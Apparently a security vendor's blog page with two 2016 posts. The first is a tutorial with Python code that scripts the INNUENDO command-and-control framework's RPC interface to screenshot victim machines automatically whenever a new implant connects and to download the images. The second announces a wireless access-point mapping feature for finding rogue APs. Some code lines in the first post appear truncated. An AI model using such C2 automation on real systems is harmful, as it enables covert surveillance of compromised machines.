Wednesday, February 24, 2016

Leveraging INNUENDO's RPC for Fun and Profit: screengrab

INNUENDO 1.5 is on it's way, and along with a host of other great features, we've refined the RPC interface.

In this post I want to demonstrate how one can begin layering high-level automation on top of INNUENDO C2 operations using the RPC interface.

Let's start simple. All we want is a screenshot of the target machine every time a new implant process connects to the C2.

The first thing we need is access to the RPC client library. The RPC client can be found in the INNUENDO directory as "<innuendo>/". This file actually bundles all of the client dependencies within it, so the only requirement to use it is a Python (2.7) installation.

Once you've copied the client file to your local machine, you simply have to point it at the address and port of the C2 RPC server (and ensure that host/port is accessible, of course).

$ ./ -u tcp://<c2-host>:9998 ping

You'll notice that you have full access to the command-line interface using this file, but we can get quite a bit more flexibility if we import it into Python.

>>> import innuendo_client

This first import bootstraps the environment, and gives us access to the RPC client and it's dependencies. Now, we can import the client library:

>>> from innuendo import rpc

Now, let's connect to the RPC server.

>>> c = rpc.Client('tcp://<c2-host>:9998')
>>> c.module_names()
('exploitmanager', 'recon', ...)

Excelsior! Let's watch some implants sync:

>>> for event in'process'):
...     proc_id = event['data']['id']
...     proc = c.process_get(proc_id)
...     print proc['name'], proc['machine_alias']
netclassmon.exe Windows-7-x64-fuzzybunny
boot64.exe Windows-7-x64-wombat
rundll32.exe Windows-XP-x86-cabbage
boot64.exe Windows-7-x64-fuzzybunny
boot32.exe Windows-XP-x86-cabbage

NOTE: Here we are filtering for process events. If we wanted to grab all node events and any new machine events, we could call like this instead:'node', 'machine_added').

By reacting to this event stream, we can now begin to build a layer of automated decision-making on top of INNUENDO. A simple, but very useful option is to execute an operation or group of operations as soon as a new implant first syncs to the C2. Here's an example that takes a screenshot of the target as soon as an implant activates.

>>> for event in'process_added'):
...     proc_id = event['data']['id']
...     c.operation_execute([proc_id], 'screengrab')

This snippet will queue a "recon.screengrab" operation on the C2 for every process that is added while the script is running. The GIF below shows us how it would look in INNUENDO's UI.

Let's take it a bit further and dump thumbnails of the screenshots into a local directory. The full source for catching the right events is below, but first let's just take a step-by-step look at grabbing operation results.

>>> import msgpack
>>> res = c.operation_attributes(oper_id)
>>> attrs = msgpack.unpackb(res)

Since operation attributes can potentially store large binary data, the RPC layer does not automatically deserialize them for you, so we do that with msgpack.

NOTE: msgpack is a serialization library. A pure-Python version is bundled with the client library, but if you need higher performance, you'll want to grab the full package off of PyPI, which includes a C implemention. The client will prefer an installed copy over the bundled copy.

>>> server_path = attrs['data'][0]['path']

This gives us the path of the screenshot image file on the C2 server. Index 0 is the first of potentially several images that could have been grabbed. Now we just have to ask the C2 for the file and save it locally.

>>> local_path = os.path.basename(remote_path)
>>> with open(local_path, 'w+b') as file:
...     for chunk in c.file_download(remote_path):
...         file.write(chunk)

This will stream the screenshot chunk-by-chunk to a file in the current directory. Let's put it all together!

import os

# bootstrap the client environment
import innuendo_client

import msgpack
from innuendo import rpc

def main():
    print 'waiting'
    c = rpc.Client()
    # track the operations we want to watch
    oper_ids = set()
    for event in'process_added', 'operation_updated'):
        if not event:
            # the server will send out "heartbeat" events periodically
            # we can ignore them
        elif event['name'] == 'process_added':
            print 'process_added: taking screenshot'
            # grab the ID of the process that just activated
            proc_id = event['data']['id']
            # queue a screengrab operation and track it's ID
            res = c.operation_execute([proc_id], 'screengrab', wait=True)
            print 'operation_added:', res[0]
        elif event['name'] == 'operation_updated':
            # grab the ID of the operation that was just updated
            oper_id = event['data']['id']
            # make sure it's an operation we are tracking
            if oper_id not in oper_ids:
            # get the operation data so we can check it's state
            oper = c.operation_get(oper_id)
            print 'operation_updated:', oper['state']
            # wait until the operation is finished
            if oper['state'] != 'finished':
            # grab and unpack the operation's attributes
            res = c.operation_attributes(oper_id)
            attrs = msgpack.unpackb(res)
            # get the remote path of the first screenshot
            remote_path = attrs['data'][0]['path']
            local_path = os.path.basename(remote_path)
            # stream the screenshot to a local file
            with open(local_path, 'w+') as file:
                for chunk in c.file_download(remote_path):
            print 'saved:', local_path

if __name__ == '__main__':
    except KeyboardInterrupt:

With this script running, you should see a new screenshot saved to the current directory soon after every new implant process activates. This same procedure can be used to process results from any INNUENDO operation. Stay tuned for more!

Tuesday, February 9, 2016


SILICA – Mapping access points (looking for Rogue APs)

We are happy to announce a new and exciting feature of SILICA that will be available with the 7.24 release (shortly!).

If you are in charge of protecting the wireless networks of a business, you often worry about rogue access points -  that is an AP that has been installed on your secure network without authorization.

SILICA's new AP Mapping is a feature that allows you to quickly and easily make a map of where the APs near you are placed. This feature not only is useful for finding rogue APs, but can also aid in detecting holes in wireless coverage, and also detect possible fake access points (access points external to the network that want to attack your wireless stations).

The user interface for the data entry part of this feature is simple. It consists of a map (or optionally you can just eyeball it on the blank canvas, which is what I always do) and buttons to control the beacon's capture and to determine the current location.

The user can record paths as he moves around the office, control the current wireless channel, view intermediate results, undo paths (useful after a miss-click on the map), and save the results to file. It takes about 30 seconds to figure out - after which you are merrily wandering your office with your SILICA laptop in hand mapping out every AP you can see.

You can make your maps in MS Paint or use Google Maps for high quality renditions. Or just start with a blank area (this still works).

The results section of this feature is rich in features. There are three basic map types that are produced, using the magic of math:

1) The Heatmap. This map is based on the estimated signal power of the access point that is most powerful in each location.

2) The AP Zones map. This map is based on what are the zones of influence of the more powerful access points. The zone of influence is the zone where one access point is the most powerful one.

3) The captured data map. This map show the signal power of access points in each location according to the beacon captures without interpolation or estimation. The user interface allows you to view this map for each access point, both for the average signal power and for the maximum signal power.

For the first two of the map types, the algorithm that SILICA uses to estimate the access points location and power are critical. There are various factors that influence the strength of the signal when received by the SILICA card: distance from the access point, obstacles that cause reflection or diffraction, relative angle of the AP's and SILICA's antennas, and interference from other sources. This means that the algorithm has to handle a very noisy signal, so we use a relatively simple algorithm to estimate the access point parameters - and also why it is best if you have more than just three or four points in your walk-path.

The first step is estimating the access point position, for this a number (at least 10) of the most powerful signals are averaged and the position and power are taken as the center of the signal.
To calculate the rate of power loss with the distance from the center, a linear approximation is used, using the least square regression method.

Finding out the zone of influence of each access point is more involved. A naive algorithm would be to calculate the estimated power for each access point and for each pixel of the map, and selecting the most powerful signal for each location, but this doesn't scale. What SIILCA uses is a divide-and-conquer method to find out the zones of each access point. This way, the graphs are quickly generated, even for high-resolution maps with many access points.

Example graph of how the map is divided in zones by the divide-and-conquer algorithm:

We hope everyone likes the new feature! More interesting updates are on the way, and if you want to ask questions about getting a SILICA, just email!